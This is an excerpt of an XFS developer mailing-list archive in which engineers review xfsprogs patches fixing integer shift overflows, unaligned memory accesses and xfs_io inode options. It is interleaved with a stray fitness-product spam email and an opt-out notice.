id 637743824F2; Fri, 9 Oct 2015 13:24:46 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99DOked023061; Fri, 9 Oct 2015 09:24:46 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 269FB123DCD; Fri, 9 Oct 2015 09:24:45 -0400 (EDT) Date: Fri, 9 Oct 2015 09:24:45 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/4] xfs_repair: fix left-shift overflows Message-ID: <20151009132444.GE27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 4/4] xfs_repair: fix left-shift overflows References: <56170906.5090301@redhat.com> <561709E9.3000406@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561709E9.3000406@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444397086 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 08, 2015 at 07:27:21PM -0500, Eric Sandeen wrote: > pmask in struct parent_list is a __uint64_t, but in some places > we populated it with "1LL << shift" where shift could be up > to 63; this really needs to be a 1ULL type for this to be correct. > > Also spotted by libubsan... > > The code in prefetch.c has another issue with large fs blocks > (32 or 64k) because it shifts by up to 128 bits, but that's left > for later... > > Signed-off-by: Eric Sandeen > --- Reviewed-by: Brian Foster > repair/incore_ino.c | 14 +++++++------- > repair/prefetch.c | 2 +- > 2 files changed, 8 insertions(+), 8 deletions(-) > > diff --git a/repair/incore_ino.c b/repair/incore_ino.c > index 32d7678..1898257 100644 > --- a/repair/incore_ino.c > +++ b/repair/incore_ino.c > @@ -625,7 +625,7 @@ set_inode_parent( > else > irec->ino_un.plist = ptbl; > > - ptbl->pmask = 1LL << offset; > + ptbl->pmask = 1ULL << offset; > ptbl->pentries = (xfs_ino_t*)memalign(sizeof(xfs_ino_t), > sizeof(xfs_ino_t)); > if (!ptbl->pentries) > @@ -638,8 +638,8 @@ set_inode_parent( > return; > } > > - if (ptbl->pmask & (1LL << offset)) { > - bitmask = 1LL; > + if (ptbl->pmask & (1ULL << offset)) { > + bitmask = 1ULL; > target = 0; > > for (i = 0; i < offset; i++) { > @@ -655,7 +655,7 @@ set_inode_parent( > return; > } > > - bitmask = 1LL; > + bitmask = 1ULL; > cnt = target = 0; > > for (i = 0; i < XFS_INODES_PER_CHUNK; i++) { > @@ -691,7 +691,7 @@ set_inode_parent( > ptbl->cnt++; > #endif > ptbl->pentries[target] = parent; > - ptbl->pmask |= (1LL << offset); > + ptbl->pmask |= (1ULL << offset); > } > > xfs_ino_t > @@ -707,8 +707,8 @@ get_inode_parent(ino_tree_node_t *irec, int offset) > else > ptbl = irec->ino_un.plist; > > - if (ptbl->pmask & (1LL << offset)) { > - bitmask = 1LL; > + if (ptbl->pmask & (1ULL << offset)) { > + bitmask = 1ULL; > target = 0; > > for (i = 0; i < offset; i++) { > diff --git a/repair/prefetch.c b/repair/prefetch.c > index 52238ca..b11dcb3 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -762,7 +762,7 @@ pf_queuing_worker( > * sparse state in cluster sized chunks as cluster size > * is the min. granularity of sparse irec regions. > */ > - if ((sparse & ((1 << inodes_per_cluster) - 1)) == 0) > + if ((sparse & ((1ULL << inodes_per_cluster) - 1)) == 0) > pf_queue_io(args, &map, 1, > (cur_irec->ino_isa_dir != 0) ? > B_DIR_INODE : B_INODE); > -- > 1.7.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From cmaiolino@redhat.com Fri Oct 9 08:25:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D2B7A7F54 for ; Fri, 9 Oct 2015 08:25:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C47478F8035 for ; Fri, 9 Oct 2015 06:25:31 -0700 (PDT) X-ASG-Debug-ID: 1444397130-04cb6c57855e220001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id SWNseSreWEsht9Uo (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 06:25:30 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id DEF248CF55 for ; Fri, 9 Oct 2015 13:25:29 +0000 (UTC) Received: from redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99DPQYx012836 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Fri, 9 Oct 2015 09:25:28 -0400 Date: Fri, 9 Oct 2015 15:25:26 +0200 From: Carlos Maiolino To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument Message-ID: <20151009132526.GB28373@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument Mail-Followup-To: Brian Foster , xfs@oss.sgi.com References: <1443186467-20110-1-git-send-email-cmaiolino@redhat.com> <1443186467-20110-4-git-send-email-cmaiolino@redhat.com> <20151006170055.GD63205@bfoster.bfoster> <20151009083313.GA28373@redhat.com> <20151009123613.GA27982@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151009123613.GA27982@bfoster.bfoster> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444397130 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hey > > > > Hmm, I don't think so, I need getopt() to setup optind for this. > > > > I don't see how that matters. That code can stay in the first patch. I'm > just saying patch 1 should probably implement the core/default > functionality, and obviously whatever supporting code is necessary to > make that happen. For example, that could mean that the above > ret_isvalid = 1 block goes away, the code executes in this mode by > default, and the subsequent patches implement alternate branches as > necessary to alter behavior. > Right, I think I misunderstood your previous comment, when you said about this going first, I thought about code ordering, not patch ordering. In this point I agree with you. > In other words, the (pseudo)code can start off looking like this: > > userino = ...; > > ... > > bulkreq = ... > xfsctl(..., XFS_IOC_FSBULKSTAT_SINGLE, ...); > printf("Valid inode: ..."); > return 0; > > ... then patch 2 comes along an adds a next option: > > int cmd = XFS_IOC_FSBULKSTAT_SINGLE; > > while (getopt() = ...) { > if (next) > cmd = XFS_IOC_FSBULKSTAT; > } > userino = ...; > > ... > > bulkreq = ... > xfsctl(..., cmd, ...); > printf("%s inode: ...", next ? "Next" : "Valid", ...); > return 0; > > ... and so on. Patch 3 comes along and adds more command line options > and an alternate FSNUMBERS branch before the bulkstat xfsctl(). That > branch ends with a return 0, so there's no need to put the core > mechanism bits above into an 'if (ret_isvalid).' > Makes sense > The alternative is to just squash everything to one patch, which is > probably reasonable too. I still think the end result can be simplified > and reduced to something like the above though. > > > > > + > > > > + if (userino) > > > > + if (*p != '\0') { > > > > + printf("[num] must be a valid number\n"); > > > > + exitcode = 1; > > > > + return 0; > > > > + } > > > > + > > > > if (ret_lsize || ret_largest) { > > > > + > > > > + bulkreq.lastip = &last; > > > > + bulkreq.icount = 1024; /* User-defined maybe!? */ > > > > + bulkreq.ubuffer = &igroup; > > > > + bulkreq.ocount = &count; > > > > + > > > > for (;;) { > > > > if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > > > > &bulkreq)) { > > > > @@ -806,7 +831,7 @@ inode_f( > > > > exitcode = 1; > > > > return 0; > > > > } > > > > - if (count < XFS_INODES_PER_CHUNK && count > 0) > > > > + if (count < 1024 && count > 0) > > > > lastgrp = count; > > > > > > Ok, that sort of addresses my question on patch 1. I guess this is a > > > record count rather than an inode count as well. In that case, what > > > happens if the fs has an exact multiple of 1024 inode records? > > > > > Yes, it's a record count, each record contains a single inode chunk. > > regarding the exactly multiple of 1024 chunks, AFAIK it will fit all the 1024 > > records in a single array, which is exactly the size of the array I'm using > > here, and, next call to xfsctl, will return a 0 records count, making the look > > to exit. > > > > Ok, that's what I would expect up to that point. To be more clear, when > is lastgrp ever set? Further, what happens if xfsctl() somewhere down > the road decides to memset(..., 0, ...) bulkreq.ubuffer (for example) > when count is set to 0? > > For example, here's a quick experiment on an fs with precisely 1024 > inode records: > > # ./io/xfs_io -c "inode -l" /mnt/ > Largest inode: 1070 > # find /mnt/ -inum 1070 -print > # > > Oops! :) After adding a few more records: > > # ./io/xfs_io -c "inode -l" /mnt/ > Largest inode: 971014 > # find /mnt/ -inum 971014 -print > /mnt/tmp/128 > # > > > > BTW, I think this should probably be set correctly when it is introduced > > > rather than set to a value and changed in a subsequent patch. > > > > Yes, I just forgot to change this in the first patch, see my comment in patch 1. > > > > > > > > > if (!count) > > > > break; > > > > @@ -822,8 +847,47 @@ inode_f( > > > > else > > > > printf(_("Largest inode: %llu\n"), lastino); > > > > > > > > + return 0; > > > > + } > > > > + > > > > + /* Setup bulkreq for -n or [num] only */ > > > > + last = userino; > > > > + bulkreq.lastip = &last; > > > > + bulkreq.icount = 1; > > > > + bulkreq.ubuffer = &bstat; > > > > + bulkreq.ocount = &count; > > > > + > > > > + if (ret_next) { > > > > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT, &bulkreq)) { > > > > + if (errno == EINVAL) > > > > + printf("Invalid or non-existent inode\n"); > > > > + else > > > > + perror("XFS_IOC_FSBULKSTAT"); > > > > + exitcode = 1; > > > > + return 0; > > > > + } > > > > + > > > > + if (!bstat.bs_ino) { > > > > + printf("There are no further inodes in the filesystem\n"); > > > > + return 0; > > > > + } > > > > > > The above should technically check the output count rather than the > > > inode number, right? > > > > > If I use the inode count, I can get an 'allocated but free' inode, which is not > > the intention here. > > > > I don't think bulkstat returns unused (but allocated) inodes. Most of > the inode information would be invalid/undefined. Indeed, from > xfs_bulkstat_ag_ichunk(): > > /* Skip if this inode is free */ > if (XFS_INOBT_MASK(chunkidx) & irbp->ir_free) > continue; > > Brian > I'll check the another points on Monday, thanks for the review Brian. have a good weekend -- Carlos From bounce-74_HTML-148158268-2149508-6010530-1945@bounce.email.beachbody.com Fri Oct 9 08:45:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.9 required=5.0 tests=DIET_1,HTML_IMAGE_RATIO_08, HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4FC6C7F55 for ; Fri, 9 Oct 2015 08:45:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A2A0FAC003 for ; Fri, 9 Oct 2015 06:45:52 -0700 (PDT) X-ASG-Debug-ID: 1444398346-04cbb03f12626f0001-NocioJ Received: from mta2.email.beachbody.com (mta2.email.beachbody.com [136.147.138.56]) by cuda.sgi.com with ESMTP id rebg2pKUn7EWZ1Ay for ; Fri, 09 Oct 2015 06:45:46 -0700 (PDT) X-Barracuda-Envelope-From: bounce-74_HTML-148158268-2149508-6010530-1945@bounce.email.beachbody.com X-Barracuda-Apparent-Source-IP: 136.147.138.56 Received: by mta2.email.beachbody.com id h2v2gk163hs3 for ; Fri, 9 Oct 2015 07:45:43 -0600 (envelope-from ) From: "Steve Conder, Independent Team Beachbody Coach" To: Subject: Thought you might want to see this! Date: Fri, 09 Oct 2015 07:45:42 -0600 X-ASG-Orig-Subj: Thought you might want to see this! MIME-Version: 1.0 x-job: 6010530_2149508 Reply-To: "Steve Conder, Independent Team Beachbody Coach" Message-ID: Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mta2.email.beachbody.com[136.147.138.56] X-Barracuda-Start-Time: 1444398346 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.34 X-Barracuda-Spam-Status: No, SCORE=0.34 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DIET_1, HTML_IMAGE_RATIO_08, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23335 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.34 DIET_1 BODY: Lose Weight Spam 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 21DF and Shakeology Challenge Pack

TEAM BEACHBODY
21 DAY FIX CHALLENGE PACK
 
Fitness + Nutrition + Support = Results
Take advantage of this special offer on the 21 Day Fix® and Shakeology® Challenge Pack—for a limited time only! The 21 Day Fix program was specifically designed to work with Shakeology to give you maximum weight-loss results. And when you choose the 21 Day Fix and Shakeology Challenge Pack you also get the best healthy nutrition, support, and motivation you need to get amazing results in just 21 days.
 
Here's what you'll get:
The 21 Day Fix program, including 7 color-coded portion-control containers, 6 easy-to-follow 30-minute workouts, 1 Shakeology shaker cup, and a simple Eating Plan to ensure your success.
A 30-day supply of Shakeology—the superfood shake that helps give you energy, reduce cravings, and accelerate your fitness results**—delivered on Home Direct.
A FREE 30-day Premium Trial Membership to the Team Beachbody® Club giving you access to stream your 21 Day Fix workouts.
A BONUS Exclusive “Dirty 30” workout with even more fat-burning moves!
Contact me with any questions.

I'm here to help you along the way to reaching your health and fitness goals!
LEARN MORE
 
Your Coach,
Steve Conder
(360)852-0374
steveconder.fitness@gmail.com
*All savings in USD. International pricing will vary.

**These statements have not been evaluated by the Food and Drug Administration. This product is not intended to diagnose, treat, cure, or prevent any disease.

With Shakeology on Home Direct, you’ll be enrolled in our monthly autoship program, and with your trial membership to the Team Beachbody Club, you’ll be enrolled in our monthly Premium membership. You may cancel either at any time. Please see our site for full details.
 

You have been sent an eCard
If you cannot see the eCard please click here to view this card in your web browser.



If you do not wish to receive further emails from this person, all you have to do is click here to reject any future mailings or copy this URL into your browser's address bar http://www.beachbodycoach.com/esuite/control/optOut?r_guid=1aa630

From sandeen@sandeen.net Fri Oct 9 08:48:10 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D56D47F55 for ; Fri, 9 Oct 2015 08:48:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C8F74304039 for ; Fri, 9 Oct 2015 06:48:10 -0700 (PDT) X-ASG-Debug-ID: 1444398489-04cbb03f13627e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id t18WgAx3ZdQ3zGow for ; Fri, 09 Oct 2015 06:48:09 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 210916567AA2; Fri, 9 Oct 2015 08:48:09 -0500 (CDT) Subject: Re: [PATCH 3/4] xfs_logprint: fix some unaligned accesses To: Brian Foster X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs_logprint: fix some unaligned accesses References: <56170906.5090301@redhat.com> <5617098E.9090102@sandeen.net> <20151009132440.GD27982@bfoster.bfoster> Cc: xfs@oss.sgi.com From: Eric Sandeen Message-ID: <5617C598.6010009@sandeen.net> Date: Fri, 9 Oct 2015 08:48:08 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151009132440.GD27982@bfoster.bfoster> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444398489 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23335 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/9/15 8:24 AM, Brian Foster wrote: > On Thu, Oct 08, 2015 at 07:25:50PM -0500, Eric Sandeen wrote: >> This routine had a fair bit of gyration to avoid unaligned accesses, >> but didn't fix them all. Fix some more spotted at runtime by libubsan. >> >> Signed-off-by: Eric Sandeen >> --- >> logprint/log_misc.c | 18 +++++++++++++++--- >> repair/btree.c | 1 + >> 2 files changed, 16 insertions(+), 3 deletions(-) >> >> diff --git a/logprint/log_misc.c b/logprint/log_misc.c >> index d76145c..6cd249a 100644 >> --- a/logprint/log_misc.c >> +++ b/logprint/log_misc.c >> @@ -325,7 +325,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) >> } >> super_block = 0; >> } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGI_MAGIC) { >> - agi = (xfs_agi_t *)(*ptr); >> + struct xfs_agi agi_s; >> + >> + /* memmove because *ptr may not be 8-byte aligned */ >> + memmove(&agi_s, *ptr, sizeof(struct xfs_agi)); >> + agi = &agi_s; > > Nit: could we either define the new variables in the same scope as the > pointer (either here or at the top of the function), or just ditch the > pointers altogether? Let me see how that looks, sure. >> printf(_("AGI Buffer: XAGI ")); >> /* >> * v4 filesystems only contain the fields before the uuid. > ... >> diff --git a/repair/btree.c b/repair/btree.c >> index 66fb40b..e31e67a 100644 >> --- a/repair/btree.c >> +++ b/repair/btree.c >> @@ -230,6 +230,7 @@ btree_get_next( >> } >> if (level == 0) { >> if (key) { >> + /* XXXX what if index past MAX? What if no next? */ > > Unintentional hunk? Yeah, dammit, I thought I removed that, sorry. Thanks, -Eric From sandeen@sandeen.net Fri Oct 9 09:03:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AB7AE7F5F for ; Fri, 9 Oct 2015 09:03:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2C16EAC00D for ; Fri, 9 Oct 2015 07:03:27 -0700 (PDT) X-ASG-Debug-ID: 1444399389-04cb6c578b5ee30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 4AFr3T8GIziHY9ai for ; Fri, 09 Oct 2015 07:03:09 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D764D6567AA2 for ; Fri, 9 Oct 2015 09:03:08 -0500 (CDT) Subject: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses References: <56170906.5090301@redhat.com> <56170974.5020604@sandeen.net> <20151009132433.GC27982@bfoster.bfoster> From: Eric Sandeen Message-ID: <5617C91C.10203@sandeen.net> Date: Fri, 9 Oct 2015 09:03:08 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151009132433.GC27982@bfoster.bfoster> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444399389 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23335 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/9/15 8:24 AM, Brian Foster wrote: > On Thu, Oct 08, 2015 at 07:25:24PM -0500, Eric Sandeen wrote: >> This fixes some unaligned accesses spotted by libubsan in repair. >> > > Could we add a couple sentences about why this is a problem? I take it > unaligned accesses are "bad" on certain arches..? To the commit perhaps? Probably not in the code, we have lots of places that do this trick, or use [get|put]_unaligned_be[32|64] with no explanation of the problem. Documentation/unaligned-memory-access.txt in the kernel covers it: Why unaligned access is bad =========================== The effects of performing an unaligned memory access vary from architecture to architecture. It would be easy to write a whole document on the differences here; a summary of the common scenarios is presented below: - Some architectures are able to perform unaligned memory accesses transparently, but there is usually a significant performance cost. - Some architectures raise processor exceptions when unaligned accesses happen. The exception handler is able to correct the unaligned access, at significant cost to performance. - Some architectures raise processor exceptions when unaligned accesses happen, but the exceptions do not contain enough information for the unaligned access to be corrected. - Some architectures are not capable of unaligned memory access, but will silently perform a different memory access to the one that was requested, resulting in a subtle code bug that is hard to detect! It should be obvious from the above that if your code causes unaligned memory accesses to happen, your code will not work correctly on certain platforms and will cause performance problems on others. Maybe I can refer to that in the commit? >> Signed-off-by: Eric Sandeen >> --- >> repair/dinode.c | 19 +++++++++---------- >> repair/prefetch.c | 4 ++-- >> 2 files changed, 11 insertions(+), 12 deletions(-) >> >> diff --git a/repair/dinode.c b/repair/dinode.c >> index f78f907..44bbb8f 100644 >> --- a/repair/dinode.c >> +++ b/repair/dinode.c >> @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), >> * btree, we'd do it right here. For now, if there's a >> * problem, we'll bail out and presumably clear the inode. >> */ >> - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { >> + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { >> do_warn(_("bad bmap btree ptr 0x%llx in ino %" PRIu64 "\n"), >> - (unsigned long long) be64_to_cpu(pp[i]), lino); >> + get_unaligned_be64(&pp[i]), lino); >> return(1); >> } >> >> - if (scan_lbtree(be64_to_cpu(pp[i]), level, scan_bmapbt, type, >> + if (scan_lbtree(get_unaligned_be64(&pp[i]), level, scan_bmapbt, type, >> whichfork, lino, tot, nex, blkmapp, &cursor, >> 1, check_dups, magic, &xfs_bmbt_buf_ops)) >> return(1); >> @@ -977,25 +977,24 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), >> * blocks but the parent hasn't been updated >> */ >> if (!check_dups && cursor.level[level-1].first_key != >> - be64_to_cpu(pkey[i].br_startoff)) { >> + get_unaligned_be64(&pkey[i].br_startoff)) { >> if (!no_modify) { >> do_warn( >> _("correcting key in bmbt root (was %llu, now %" PRIu64") in inode " >> "%" PRIu64" %s fork\n"), >> - (unsigned long long) >> - be64_to_cpu(pkey[i].br_startoff), >> + get_unaligned_be64(&pkey[i].br_startoff), >> cursor.level[level-1].first_key, >> XFS_AGINO_TO_INO(mp, agno, ino), >> forkname); >> *dirty = 1; >> - pkey[i].br_startoff = cpu_to_be64( >> - cursor.level[level-1].first_key); >> + put_unaligned_be64( >> + cpu_to_be64(cursor.level[level-1].first_key), >> + &pkey[i].br_startoff); > > I could be confused here... but if get_unaligned_be64() takes a be64 and > transforms to cpu order, shouldn't put_unaligned_be64() take a cpu order > parameter? Is this a double byte order swap? > > Brian > >> } else { >> do_warn( >> _("bad key in bmbt root (is %llu, would reset to %" PRIu64 ") in inode " >> "%" PRIu64 " %s fork\n"), >> - (unsigned long long) >> - be64_to_cpu(pkey[i].br_startoff), >> + get_unaligned_be64(&pkey[i].br_startoff), >> cursor.level[level-1].first_key, >> XFS_AGINO_TO_INO(mp, agno, ino), >> forkname); >> diff --git a/repair/prefetch.c b/repair/prefetch.c >> index 32ec55e..52238ca 100644 >> --- a/repair/prefetch.c >> +++ b/repair/prefetch.c >> @@ -330,7 +330,7 @@ pf_scanfunc_bmap( >> pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); >> >> for (i = 0; i < numrecs; i++) { >> - dbno = be64_to_cpu(pp[i]); >> + dbno = get_unaligned_be64(&pp[i]); >> if (!verify_dfsbno(mp, dbno)) >> return 0; >> if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) >> @@ -372,7 +372,7 @@ pf_read_btinode( >> pp = XFS_BMDR_PTR_ADDR(dib, 1, xfs_bmdr_maxrecs(dsize, 0)); >> >> for (i = 0; i < numrecs; i++) { >> - dbno = be64_to_cpu(pp[i]); >> + dbno = get_unaligned_be64(&pp[i]); >> if (!verify_dfsbno(mp, dbno)) >> break; >> if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) >> -- >> 1.7.1 >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From DoNotReply@beachbody.com Fri Oct 9 09:24:10 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 05CFF7F61 for ; Fri, 9 Oct 2015 09:24:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EF0C08F8040 for ; Fri, 9 Oct 2015 07:24:06 -0700 (PDT) X-ASG-Debug-ID: 1444400642-04cbb03f1463510001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id XvrRZd5m8hbafyI3 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 07:24:03 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp11.consonus.icentris.net (vapp11.consonus.icentris.net [172.18.15.217]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99ENpCB002158 for ; Fri, 9 Oct 2015 08:24:02 -0600 Message-ID: <1261871165.1444400631916.JavaMail.mdbodyespr@vapp11.consonus.icentris.net> Date: Fri, 9 Oct 2015 08:23:51 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444400643 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com 